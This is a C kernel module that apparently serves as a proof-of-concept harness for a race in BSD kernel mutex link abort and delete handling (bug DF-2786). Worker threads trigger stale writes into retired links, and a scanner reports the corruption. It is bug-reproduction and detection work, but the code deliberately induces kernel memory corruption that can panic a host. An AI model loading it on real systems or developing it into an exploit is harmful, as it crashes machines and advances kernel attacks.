/*
 * mtx_abuse.c — DF-2786 PoC harness (KLD), v5.
 *
 * Races mtx_abort_link() against the owner's timeout exit path in
 * mtx_wait_link() -> mtx_delete_link() on a heavily contended kernel
 * mutex, with nfsreq-like link lifetime.  Target bug (DF-2786):
 *
 *   mtx_delete_link() (kern_mutex.c:914-941) unlinks the link but does
 *   NOT terminate link->state — the MTX_LINK_LINKED_* state survives,
 *   and mtx_wait_link() resets it to MTX_LINK_IDLE only later at :1023,
 *   OUTSIDE MTX_LINKSPIN.  An mtx_abort_link() that acquires LINKSPIN
 *   in that window reads the stale LINKED state and executes the
 *   de-link writes (kern_mutex.c:1095-1096) through the victim's now
 *   dangling next/prev pointers — writing into whatever those stale
 *   neighbors are by then (in production: another nfsreq's r_link,
 *   potentially freed/reused), and poisoning the live circular list.
 *
 * Detection (v5, deterministic, zero false positives):
 *   - Each contender alternates between two STATIC xl buffers.  After
 *     use the buffer is "retired": next/prev poisoned to &mtxab_load
 *     (module text, RX) and magic flipped DEAD.  NOTHING legitimate
 *     writes a retired link's next/prev — the only possible writer is
 *     the misfiring abort/delete executing stale de-link writes.
 *   - A scanner thread sweeps the static xls; any DEAD link whose
 *     next/prev deviates from the poison is reported as CORRUPTION:
 *     proof the kernel wrote into a dead mtx_link (== freed-memory
 *     write in production).  State-field deviations are ignored (a
 *     racing abort may legally set ABORTED).
 *   - If the stale write instead lands in a LIVE queued neighbor, the
 *     live list corrupts -> KKASSERT/wild-deref panic or freeze.
 *
 * Fairness: aborters lwkt_yield()/tsleep — earlier busy-spin versions
 * starved the box and masqueraded as a kernel freeze (control run
 * proved it).  Control mode: kenv mtxabuse.noabort=1 runs identical
 * traffic without mtx_abort_link() and must stay clean.
 *
 * DF-0047 (known lock-leak race) self-heals on the ex side (n_df47);
 * not reported here.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/kthread.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/spinlock.h>
#include <sys/mutex2.h>
#include <sys/spinlock2.h>

MALLOC_DEFINE(M_MTXAB, "mtxabuse", "mtx abort-race harness links");

static int	mtxab_load(struct module *, int, void *);

#define POISON_PTR	((mtx_link_t *)(void *)&mtxab_load)
#define POISON_STATE	0x51dead51

#define N_EXCONT	8		/* victim contenders (short timeout)  */
#define N_HOLD		2		/* long-hold holders                   */
#define N_ABORT		3		/* aborters (moderate rate)            */
#define NTGT		128		/* publish slots (contender idx)      */

#define XL_MAGIC_LIVE	0x1157aa01
#define XL_MAGIC_DEAD	0x1157aa02

struct xl {
	mtx_link_t	link;		/* kernel-owned while queued          */
	volatile u_int	gen;		/* ++ by owner after error return     */
	volatile u_int	magic;
};

static mtx_t		g_exmtx;
static struct xl	xls[N_EXCONT + N_HOLD][2];/* static double buffers     */
static struct xl 	*targets[NTGT];
static volatile int	stopping;
static volatile int	aborts_on;	/* phase 2 gate                       */
static int		noabort;	/* control: skip mtx_abort_link       */
static volatile int	threads_left;
static volatile u_int	n_ops, n_ok, n_err, n_abort, n_abort_late;
static volatile u_int	n_race_suspect, n_df47, n_corrupt, n_corrupt_shown;

static int		duration = 300;

TUNABLE_INT("mtxabuse.duration", &duration);
TUNABLE_INT("mtxabuse.noabort", &noabort);

/*
 * Contender: alternate between two static xl buffers; queue with a
 * (mostly) 1-tick timeout so the delete path runs constantly; a few
 * longer-timeout contenders keep the queue deep (stable neighbors).
 */
static void
contender(void *xarg)
{
	int idx = (int)(intptr_t)xarg;
	int buf = 0;
	struct xl *xl;
	int error;
	int to;

	while (!stopping) {
		xl = &xls[idx][buf];
		buf ^= 1;
		xl->gen = 0;
		xl->magic = XL_MAGIC_LIVE;
		mtx_link_init(&xl->link);
		to = 3;

		atomic_swap_ptr((volatile void **)&targets[idx], xl);

		error = mtx_lock_ex_link(&g_exmtx, &xl->link, 0, to);

		if (error == 0) {
			atomic_add_int(&n_ok, 1);
			tsleep(&n_ops, 0, "xabhold", 1);
			mtx_unlock(&g_exmtx);
		} else {
			atomic_add_int(&n_err, 1);
			/*
			 * DF-0047 self-heal: chain granted during our
			 * delete window; we returned error but hold EX.
			 */
			if (mtx_owned(&g_exmtx)) {
				atomic_add_int(&n_df47, 1);
				mtx_unlock(&g_exmtx);
			}
			atomic_add_int(&xl->gen, 1);
		}

		/* retire this buffer: poison next/prev, mark dead */
		atomic_swap_ptr((volatile void **)&targets[idx], NULL);
		xl->magic = XL_MAGIC_DEAD;
		cpu_sfence();
		xl->link.next = POISON_PTR;
		xl->link.prev = POISON_PTR;
		xl->link.state = POISON_STATE;
		atomic_add_int(&n_ops, 1);
	}
	atomic_subtract_int(&threads_left, 1);
}

/*
 * Holder: take the lock (blocking) and hold it ~20 ticks so the victims
 * pile up deep in the wait queue and time out in same-tick batches
 * (batched deletes = stale neighbors that retired microseconds ago =
 * ideal geometry for the misfire's stale writes).
 */
static void
holder(void *xarg)
{
	int idx = N_EXCONT + (int)(intptr_t)xarg;
	int buf = 0;
	struct xl *xl;

	while (!stopping) {
		xl = &xls[idx][buf];
		buf ^= 1;
		xl->gen = 0;
		xl->magic = XL_MAGIC_LIVE;
		mtx_link_init(&xl->link);

		atomic_swap_ptr((volatile void **)&targets[idx], xl);

		if (mtx_lock_ex_link(&g_exmtx, &xl->link, 0, 0) == 0) {
			atomic_add_int(&n_ok, 1);
			tsleep(&n_ops, 0, "xabhold2", 20);
			mtx_unlock(&g_exmtx);
		} else {
			atomic_add_int(&n_err, 1);
			atomic_add_int(&xl->gen, 1);
		}

		atomic_swap_ptr((volatile void **)&targets[idx], NULL);
		xl->magic = XL_MAGIC_DEAD;
		cpu_sfence();
		xl->link.next = POISON_PTR;
		xl->link.prev = POISON_PTR;
		xl->link.state = POISON_STATE;
		atomic_add_int(&n_ops, 1);
	}
	atomic_subtract_int(&threads_left, 1);
}

/*
 * Aborter: abort a random live-looking target, nfs_hardterm-style.
 */
static void
aborter(void *xarg)
{
	u_int seed = (u_int)(intptr_t)xarg * 2654435761u + 97u;
	struct xl *xl;
	u_int pre_gen;
	int idle = 0;
	int i;

	while (!stopping && !aborts_on)
		tsleep(&aborts_on, 0, "xabgate", 1);
	while (!stopping) {
		seed = seed * 1103515245 + 12345;
		i = (seed >> 16) % NTGT;

		xl = targets[i];
		if (xl == NULL || xl->magic != XL_MAGIC_LIVE) {
			if (++idle >= 16) {
				idle = 0;
				tsleep(&targets, 0, "xabscan", 1);
			} else {
				lwkt_yield();
				cpu_pause();
			}
			continue;
		}
		idle = 0;

		if (noabort) {
			atomic_add_int(&n_abort, 1);
			lwkt_yield();
			continue;
		}
		pre_gen = xl->gen;
		mtx_abort_link(&g_exmtx, &xl->link);
		atomic_add_int(&n_abort, 1);
		if (pre_gen == 0 && xl->gen != 0)
			atomic_add_int(&n_race_suspect, 1);
		if (xl->gen != 0)
			atomic_add_int(&n_abort_late, 1);
		lwkt_yield();
	}
	atomic_subtract_int(&threads_left, 1);
}

/*
 * Scanner: sweep the static xls.  A DEAD xl whose next/prev deviates
 * from the poison was written by the kernel after retirement — the
 * DF-2786 stale-write primitive.  (A racing abort may legally write
 * link->state on its own target, so state is inconclusive and ignored;
 * next/prev of a DEAD buffer has no legitimate writer.)
 */
static void
scanner(void *arg __unused)
{
	struct xl *xl;
	int i;

	while (!stopping) {
		tsleep(&n_corrupt, 0, "xabmon2", 1);
		for (i = 0; i < N_EXCONT + N_HOLD; ++i) {
			xl = &xls[i][0];
			if (xl->magic != XL_MAGIC_DEAD)
				goto next0;
			if ((xl->link.next != POISON_PTR ||
			     xl->link.prev != POISON_PTR) &&
			    xl->magic == XL_MAGIC_DEAD) {	/* re-verify */
				atomic_add_int(&n_corrupt, 1);
				if (n_corrupt_shown < 8) {
					atomic_add_int(&n_corrupt_shown, 1);
					kprintf("mtxabuse: CORRUPTION: kernel "
					    "wrote retired link %p next=%p "
					    "prev=%p state=%08x (contender "
					    "%d buf 0)\n", xl, xl->link.next,
					    xl->link.prev, xl->link.state, i);
				}
			}
		next0:
			xl = &xls[i][1];
			if (xl->magic != XL_MAGIC_DEAD)
				continue;
			if ((xl->link.next != POISON_PTR ||
			     xl->link.prev != POISON_PTR) &&
			    xl->magic == XL_MAGIC_DEAD) {	/* re-verify */
				atomic_add_int(&n_corrupt, 1);
				if (n_corrupt_shown < 8) {
					atomic_add_int(&n_corrupt_shown, 1);
					kprintf("mtxabuse: CORRUPTION: kernel "
					    "wrote retired link %p next=%p "
					    "prev=%p state=%08x (contender "
					    "%d buf 1)\n", xl, xl->link.next,
					    xl->link.prev, xl->link.state, i);
				}
			}
		}
		lwkt_yield();
	}
	atomic_subtract_int(&threads_left, 1);
}

static void
monitor(void *arg __unused)
{
	int left = duration;
	int elapsed;

	kprintf("mtxabuse: text_base=%p hz=%d duration=%d noabort=%d "
	    "(ex=%d hold=%d abort=%d)\n", (void *)&mtxab_load, hz, duration,
	    noabort, N_EXCONT, N_HOLD, N_ABORT);
	while (left > 0) {
		tsleep(&monitor, 0, "xabmon", hz);
		left--;
		elapsed = duration - left;
		if (elapsed == 5) {
			kprintf("mtxabuse: PHASE1 t=%d NO-ABORT baseline: "
			    "ops=%u ok=%u err=%u\n",
			    elapsed, n_ops, n_ok, n_err);
			kprintf("mtxabuse: PHASE2 aborters engaged "
			    "(noabort=%d)\n", noabort);
			aborts_on = 1;
			wakeup(&aborts_on);
		}
		if (elapsed <= 3 || (elapsed % 5) == 0 || left == 0) {
			kprintf("mtxabuse: t=%3d ops=%u ok=%u err=%u "
			    "abort=%u late=%u race_suspect=%u df47=%u "
			    "CORRUPT=%u live=%d\n",
			    elapsed, n_ops, n_ok, n_err, n_abort,
			    n_abort_late, n_race_suspect, n_df47,
			    n_corrupt, threads_left);
		}
		if (stopping)
			break;
	}
	stopping = 1;
	tsleep(&monitor, 0, "xabstop", 5 * hz);
	kprintf("mtxabuse: SUMMARY ops=%u ok=%u err=%u abort=%u late=%u "
	    "race_suspect=%u df47=%u CORRUPT=%u\n",
	    n_ops, n_ok, n_err, n_abort, n_abort_late, n_race_suspect,
	    n_df47, n_corrupt);
	atomic_subtract_int(&threads_left, 1);
}

static int
mtxab_load(struct module *m __unused, int what, void *arg __unused)
{
	int i;

	switch (what) {
	case MOD_LOAD:
		mtx_init(&g_exmtx, "mtxab-ex");
		stopping = 0;
		threads_left = N_EXCONT + N_HOLD + N_ABORT + 2;
		for (i = 0; i < N_EXCONT; i++)
			kthread_create(contender, (void *)(intptr_t)i,
				       NULL, "xabcont%d", i);
		for (i = 0; i < N_HOLD; i++)
			kthread_create(holder, (void *)(intptr_t)i,
				       NULL, "xabhold%d", i);
		for (i = 0; i < N_ABORT; i++)
			kthread_create(aborter, (void *)(intptr_t)i,
				       NULL, "xababort%d", i);
		kthread_create(monitor, NULL, NULL, "xabmon");
		kthread_create(scanner, NULL, NULL, "xabscan");
		kprintf("mtxabuse: loaded (duration=%ds noabort=%d)\n",
		    duration, noabort);
		return 0;
	case MOD_UNLOAD:
		stopping = 1;
		while (threads_left > 1)
			tsleep(&monitor, 0, "xabdrain", hz);
		kprintf("mtxabuse: unloaded\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t mtxab_mod = { "mtxabuse", mtxab_load, NULL };
DECLARE_MODULE(mtxabuse, mtxab_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);